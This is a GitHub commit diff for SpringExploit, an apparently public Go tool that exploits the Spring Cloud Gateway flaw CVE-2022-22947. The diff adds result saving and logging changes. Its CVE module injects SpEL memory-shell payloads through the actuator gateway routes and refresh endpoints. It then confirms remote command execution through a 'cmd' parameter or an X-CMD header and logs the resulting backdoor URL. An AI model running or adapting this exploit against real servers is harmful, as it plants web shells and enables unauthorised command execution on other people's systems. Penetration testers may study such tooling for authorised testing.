Skip to content

Commit 8251ad3

Browse files
SummerSecSummerSec
committed
保存结果和修复日志输出位置问题
1 parent c135293 commit 8251ad3

14 files changed

+219
-53
lines changed

‎.gitignore

+5
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,8 @@
11
.idea
22
logs/**
3+
logs
34
logs.txt
5+
**.exe
6+
**.zip
7+
**.tar.gz
8+
target.txt

‎cmd/commons/core/options.go

+5-5
Original file line numberDiff line numberDiff line change
@@ -43,14 +43,14 @@ func (o Options) toString() interface{} {
4343

4444
func ParseOptions() *Options {
4545
options := &Options{}
46-
flag.IntVar(&options.Mode, "m", 6, "debug mode off (debug mode = 6)")
46+
flag.IntVar(&options.Mode, "m", 0, "debug mode off (debug mode = 1) default mode = 0")
4747
flag.IntVar(&options.Thread, "t", 1, "threads number ")
48-
flag.StringVar(&options.File, "f", "", "file to read example: -file=test.txt http(s)://host:port/")
48+
flag.StringVar(&options.File, "f", "", "file to read example: -file=test.txt http(s)://host:port/ (notes: The last line must be empty)")
4949
flag.StringVar(&options.Url, "u", "", "url to read example: -url=http://www.baidu.com:80")
5050
flag.StringVar(&options.Proxy, "proxy", "", "proxy example: -proxy=http://127.0.0.1:8080 or -proxy=socks5://127.0.0.1:1080")
5151
flag.BoolVar(&options.Version, "version", false, "show version")
5252
flag.BoolVar(&options.Verbose, "verbose", false, "show verbose")
53-
flag.StringVar(&options.LogFile, "log", "logs.txt", "log file example: -log=/logs/logs.txt")
53+
flag.StringVar(&options.LogFile, "log", "", "log file example: -log=/logs/logs.txt")
5454
flag.IntVar(&options.Retry, "retry", 3, "repeat request times")
5555
//flag.StringVar(&options.IP, "i", "", "ip segment example: -ip=192.168.0.1/24 ")
5656
flag.IntVar(&options.Timeout, "timeout", 10, "timeout")
@@ -83,7 +83,7 @@ func showVerbose(options *Options) {
8383
if !options.Verbose {
8484
switch options.Mode {
8585
case 1:
86-
log.SetLevel(log.PanicLevel)
86+
log.SetLevel(log.DebugLevel)
8787
case 2:
8888
log.SetLevel(log.FatalLevel)
8989
case 3:
@@ -93,7 +93,7 @@ func showVerbose(options *Options) {
9393
case 5:
9494
log.SetLevel(log.InfoLevel)
9595
case 6:
96-
log.SetLevel(log.DebugLevel)
96+
log.SetLevel(log.PanicLevel)
9797
case 7:
9898
log.SetLevel(log.TraceLevel)
9999
default:

‎cmd/commons/core/runner.go

+1-2
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ func (r *Runner) Run() {
5555
go Start(urls[i], hashmap, i, c) // Start 3 goroutines
5656
i = <-c
5757
} else {
58+
i++
5859
break
5960
}
6061
}
@@ -63,8 +64,6 @@ func (r *Runner) Run() {
6364
}
6465

6566
func Start(u string, hashmap map[string]interface{}, i int, c chan int) {
66-
log.Debugln("github/SummerSec/SpringExploit/cmd/commons/core/runner.go: Start")
67-
6867
log.Info("Runner started")
6968
log.Infoln("testing URL: ", u)
7069
//for k, v := range hashmap {

‎cmd/commons/poc/CVE-2022-22947.go

+24-16
Original file line numberDiff line numberDiff line change
@@ -23,8 +23,8 @@ const memshell1 = "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(
2323

2424
type CVE202222947 struct{}
2525

26-
func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
27-
log.Debugf("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s", url)
26+
func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
27+
log.Debugf("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s", target)
2828
//TODO implement me
2929
NettyMemshell := fmt.Sprintf(memshell, mem)
3030
SpringRequestMappingMemshell := fmt.Sprintf(memshell1, mem1)
@@ -33,7 +33,11 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
3333
log.Debugf("[+] Running default poc")
3434
reqinfo := NewReqInfo()
3535
reqmap := structs.Map(reqinfo)
36-
reqmap["url"] = url
36+
// 解析target
37+
//t, _ := url.Parse(target)
38+
//target = t.Scheme + "://" + t.Host + "/"
39+
40+
reqmap["url"] = target
3741
reqmap["method"] = "POST"
3842
// 默认随机UA 不需要设置
3943
reqmap["headers"] = map[string]string{
@@ -55,30 +59,30 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
5559
for true {
5660

5761
// 第一次请求
58-
t := url + "actuator/gateway/routes/" + id
62+
t := target + "actuator/gateway/routes/" + id
5963
reqmap["url"] = t
6064
utils.Send(reqmap)
6165
// 第二次请求
62-
t = url + "actuator/gateway/refresh"
66+
t = target + "actuator/gateway/refresh"
6367
reqmap["url"] = t
6468
reqmap["body"] = ""
6569

6670
utils.Send(reqmap)
6771
// 第三次请求
68-
t = url + "actuator/gateway/routes/" + id
72+
t = target + "actuator/gateway/routes/" + id
6973
reqmap["url"] = t
7074
reqmap["method"] = "GET"
7175
resp := utils.Send(reqmap)
7276
// 第四次请求
7377
reqmap["method"] = "DELETE"
7478
utils.Send(reqmap)
7579
// 第五次请求
76-
t = url + "actuator/gateway/refresh"
80+
t = target + "actuator/gateway/refresh"
7781
reqmap["url"] = t
7882
reqmap["method"] = "POST"
7983
utils.Send(reqmap)
8084

81-
if checkExp(resp, url) {
85+
if p.checkExp(resp, target, hashmap["Out"].(string)) {
8286
log.Info("[+] Successful exploitation CVE-2020-222947")
8387
break
8488
} else {
@@ -96,30 +100,34 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
96100

97101
func (CVE202222947) init() {
98102
//TODO implement me
99-
100103
log.Debugf("CVE-2022-22947 init")
101104

102105
}
103106

104-
func checkExp(resp *req.Response, url string) bool {
107+
// 检查是否成功
108+
func (p CVE202222947) checkExp(resp *req.Response, url string, file string) bool {
105109

106110
log.Debugln("github.com/SpringExploit/cmd/commons/poc/CVE-2020-222947 checkExp")
107-
res, _ := resp.ToString()
111+
res := resp.Dump()
108112
log.Debugf("[+] res:%s", res)
109113
if strings.Contains(res, "route_id") {
110-
url := url
111114
re, _ := req.R().SetQueryString("cmd=echo route_id").SetHeader("X-CMD", "echo route_id").Send("GET", url)
112-
res2, _ := re.ToString()
115+
res2 := re.String()
113116
log.Debugf("[+] res2:%s", res2)
114117
if strings.Contains(res2, "route_id") {
115-
log.Info("[+] Successful exploitation CVE-2020-222947")
116118
log.Debugln("[+] Result: " + re.String())
117-
log.Info("[*] 漏洞利用验证成功！")
119+
log.Info("[+] Successful exploitation CVE-2020-222947")
118120
log.Info("[*] 请手动验证是否漏洞利用成功！")
119-
log.Info("[*]: url: " + url + "/?cmd=echo Result or add header X-CMD: echo Restult")
121+
p.saveResult(url, file)
120122
return true
121123
}
122124
return true
123125
}
124126
return false
125127
}
128+
129+
func (CVE202222947) saveResult(target, file string) {
130+
context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result"
131+
log.Info("[*]: url: " + target + "/?cmd=echo Result or add header X-CMD: echo Result")
132+
utils.SaveToFile(context, file)
133+
}

‎cmd/commons/poc/DefaultPocS.go

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,11 @@
11
package poc
22

3+
import "github.com/imroc/req/v3"
4+
35
// PoC poc接口
46
type PoC interface {
5-
SendPoc(url string, hashmap map[string]interface{})
7+
SendPoc(target string, hashmap map[string]interface{})
68
init()
9+
saveResult(target string, file string)
10+
checkExp(resp *req.Response, target string, file string) bool
711
}

‎cmd/commons/poc/demo.go

+28-5
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package poc
33
import (
44
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
55
"github.com/fatih/structs"
6+
"github.com/imroc/req/v3"
67
log "github.com/sirupsen/logrus"
78
)
89

@@ -25,26 +26,48 @@ func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
2526
//target = result.Scheme + "://" + result.Host + result.Port() + "/" + result.Path
2627

2728
reqmap["url"] = target
28-
//for k, v := range hashmap {
29-
// log.Debugln("key: ", k, " value: ", v)
30-
//}
3129

30+
// 请求方法
3231
reqmap["method"] = "GET"
3332
// 默认随机UA 不需要设置
3433
reqmap["headers"] = map[string]string{
3534
"User-Agent": utils.GetUA(),
3635
}
36+
// 请求body
3737
reqmap["body"] = ""
38+
39+
// TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
3840
reqmap["timeout"] = hashmap["Timeout"].(int)
3941
reqmap["retry"] = hashmap["Retry"].(int)
4042
reqmap["proxy"] = hashmap["Proxy"].(string)
4143
reqmap["mode"] = hashmap["Mode"].(int)
44+
// 发送请求， 获取响应 resp := utils.Send(reqmap)
45+
46+
resp := utils.Send(reqmap)
47+
log.Debugln("[+] resp: ", resp.Dump())
4248

43-
utils.Send(reqmap)
49+
// TODO check exp
50+
d.checkExp(resp, target, hashmap["Out"].(string))
51+
52+
// TODO 保存结果
53+
d.saveResult(target, hashmap["Out"].(string))
4454

4555
}
4656

4757
func (d Demo) init() {
48-
log.Info("[+] Registering Demo poc")
58+
log.Debugln("[+] Registering Demo poc")
59+
60+
}
61+
62+
// SaveResult 保存结果
63+
func (d Demo) saveResult(target, file string) {
64+
log.Debugf("[+] save result")
65+
// TODO 保存结果
66+
utils.SaveToFile(target, file)
67+
68+
}
4969

70+
func (d Demo) checkExp(resp *req.Response, target string, file string) bool {
71+
log.Debugf("[+] check exp")
72+
return false
5073
}

‎cmd/commons/utils/file.go

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package utils
2+
3+
import "os"
4+
5+
// Mkdir 创建文件夹
6+
func Mkdir(dir string) error {
7+
if _, err := os.Stat(dir); os.IsNotExist(err) {
8+
err := os.MkdirAll(dir, 0755)
9+
if err != nil {
10+
return err
11+
}
12+
}
13+
return nil
14+
}

‎cmd/commons/utils/httpclient.go

+7-7
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,10 @@ import (
99
func InIt(mode int, timeout int, proxy string, retry int) (client *req.Client) {
1010
log.Info("init httpclient")
1111
client = req.NewClient()
12-
client.SetLogger(log.StandardLogger())
13-
if mode != 0 {
14-
client.DevMode()
12+
if mode != 5 {
13+
client.EnableDumpAll().EnableDebugLog()
1514
}
15+
client.SetLogger(log.StandardLogger())
1616
// 设置超时时间
1717
client.SetTimeout(time.Duration(timeout) * time.Second)
1818
client.SetCommonRetryCount(retry)
@@ -41,17 +41,17 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
4141
headers := hashmap["headers"].(map[string]string)
4242
body := hashmap["body"]
4343

44-
client := InIt(mode, timeout, proxy, retry).EnableDumpAll()
44+
client := InIt(mode, timeout, proxy, retry)
4545

46-
req := client.R()
47-
reqs := SetRequest(req, headers, body.(string))
46+
reqt := client.R().EnableDump()
47+
reqs := SetRequest(reqt, headers, body.(string))
4848
resp, err := reqs.Send(method, url)
4949
if err != nil {
5050
log.Error("send request error: " + err.Error())
5151
return nil
5252
}
5353
log.Debugln("send request success")
54-
res, _ := resp.ToString()
54+
res := resp.Dump()
5555
log.Debugln("response: " + res)
5656

5757
return resp

‎cmd/commons/utils/readfile.go

+30-5
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,10 @@ package utils
33
import (
44
"bufio"
55
log "github.com/sirupsen/logrus"
6-
"net/url"
76
"os"
7+
"os/exec"
8+
"path/filepath"
9+
"strings"
810
)
911

1012
func ReadFile(path string) (urls []string, err error) {
@@ -15,18 +17,41 @@ func ReadFile(path string) (urls []string, err error) {
1517
"Have you got acces to it?\n")
1618
return nil, err
1719
}
18-
defer file.Close()
20+
defer func(file *os.File) {
21+
err := file.Close()
22+
if err != nil {
23+
log.Error("An error occurred on closing the inputfile\n" +
24+
"Does the file exist?\n" +
25+
"Have you got acces to it?\n")
26+
}
27+
}(file)
1928
iReader := bufio.NewReader(file)
2029
var lins []string
2130
for {
2231
str, err := iReader.ReadString('\n')
2332
if err != nil {
2433
return lins, err // error or EOF
2534
}
26-
url.Parse(str)
27-
28-
log.Infoln("The url is : %s", str)
35+
str = str[:len(str)-2]
36+
log.Infoln("The url is : ", str)
2937
lins = append(lins, str)
3038
}
3139
return lins, nil
3240
}
41+
42+
func getpath() string {
43+
file, _ := exec.LookPath(os.Args[0])
44+
path1, _ := filepath.Abs(file)
45+
filename := filepath.Dir(path1)
46+
var path string
47+
if strings.Contains(filename, "/") {
48+
tmp := strings.Split(filename, `/`)
49+
tmp[len(tmp)-1] = ``
50+
path = strings.Join(tmp, `/`)
51+
} else if strings.Contains(filename, `\`) {
52+
tmp := strings.Split(filename, `\`)
53+
tmp[len(tmp)-1] = ``
54+
path = strings.Join(tmp, `\`)
55+
}
56+
return path
57+
}

0 commit comments

Comments
 (0)